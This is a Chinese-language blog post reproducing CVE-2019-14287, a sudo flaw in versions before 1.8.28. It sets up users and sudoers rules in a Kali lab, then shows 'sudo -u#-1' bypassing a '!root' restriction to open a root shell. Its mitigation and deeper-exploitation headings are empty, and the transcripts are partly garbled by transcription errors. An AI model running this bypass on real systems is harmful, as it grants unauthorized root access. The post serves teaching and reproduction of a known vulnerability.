SUDO提权:CVE-2019-14287

SUDO提权:CVE-2019-14287(复现)

漏洞概述

sudo错误地处理了某些用户id。攻击者可能利用此漏洞以根用户身份执行任意命令。

漏洞危害等级:高危

影响版本

组件 版本
os linux2019.3
web server sudo1.8.27

基础环境

基础知识:

  1. sudo的作用:
    Linux是多用户多任务的操作系统,共享该系统的用户往往不只一个。 出于安全性考虑,有必要通过useradd创建一些非root用户, 只让它们拥有 不完全的权限;如有必要,再来提升权限执行。sudo就是来解决这个需求的:这些非root用户不需要知道root的密码,只需要输入当前用户密码,就可以提权到root,执行- -些root才能执行的命令。
  2. sudo的权限控制:
    sudo的权限控制在配置文件[/etc/sudoers]中,当然他有些自己的语法特性。该文件权限
root@kali : ~# ls -al /etc/sudoers
-r--r----- 1 root root 669 Aug 6 14: 58 /etc/sudoers
root@kali : ~#

该文件的修改需要特殊的编辑器visudo

漏洞复现

备份文件

root@kali:~# cp /etc/sudoers /etc/ sudoers.bak
root@kali:~#+ ls -al /etc/ sudoers*
-r--r----- 1 root root 669 Aug 6 14:58 /etc/ sudoers
-r--r----- 1 root root 669 Oct 15 08:05 /etc/ sudoers .bak
/etc/ sudoers .d:
total 20
drwxr-xr-x    2 root root 4096 Aug 30 09:46 .
drwxr-xr-x 163 root root 12288 Oct 15 08:05 . .
-r--r-----      1 root root 958 Aug 6 14:58 README
root@kali:~#

新建用户

root@kali:~# useradd marry 
root@kali:~# passwd marry
New password:
Retype new password:
passwd: password updated successfully
rootakali:~# useradd test
root@kali:~# passwd test
New pas sword:
Retype new password:
passwd: password updated successfully
rootkali:~#

尝试修改规则
修改配置文件,直接输入命令visudo,添加以下内容

marry ALL=(ALL) /usr/bin/id

这段话的含义是,允许marry用户再所有主机上,以所有用户的身份只能运行id命令
命令测试:

root@kali:~# su - marry
su: warning: cannot change di rectory to /home/marry: No such file or di
$ id
uid=1000 (marry) gid=1000 (marry) groups=1000 (marry)
$ sudo -u root id
uid=0 (root) gid=0 (root) groups=0 (root)
$ sudo -u test id
uid=1001 (test) gid=1001 (test) groups=1001 (test)
$ sudo -u root whoami
Sorry, user marry is not allowed to execute ' /usr/bin/ whoami ' as root 0
$ sudo -u test whoami
Sorry, user marry is not allowed to execute ' /usr/bin/whoami ' as test o
$

其他形式:

root@kali:~# su - marry
su: warning: cannot change di rectory to /home/marry: No such file or di
$ sudo -u#0 id
uid=0 (root) gid=0 (root) groups=0 (root)
$ sudo -u#1001 id
uid=1001 (test) gid=1001 (test) groups=1001 (test)
$

漏洞所在:

root@kali:~# su - marry
su: warning: cannot change directory to /home/marry: No such file or di
$ sudo -u#-1 id
uid=0 (root) gid=1000 (marry) groups=1000 (marry)
$

测试marry用户可以以任何用户身份执行,除了root用户,执行任意命令

marry ALL=(ALL,!root) ALL

测试如下:

root@kali:~# su - marry
su: warning: cannot change directory to /home/marry: No such file or di
$ sudo -u test id
uid=1001 (test) gid=1001 (test) groups=1001 (test)
$ sudo -u test whoami
test
$ sudo -u root id
Sorry, user marry is not allowed to execute ' /usr/bin/ id' as root on ka
$ sudo -U root whoami
Sorry, user marry is not allowed to execute ' /usr/bin/whoami ' as root c
$

漏洞触发

root@kali:~# su - marry
su : warning: cannot change directory to /home/marry: No such file or di
$ sudo -u#-I1 id
uid=0 (root) gid=1000 (marry) groups=1000 (marry)
$ sudo -u#-1 /bin/bash
root@kali: / root# whoami
root
root@kali: / root#

深度利用

漏洞修复

posted @ 2020-12-05 18:04  突然好想吃  阅读(157)  评论(0)    收藏  举报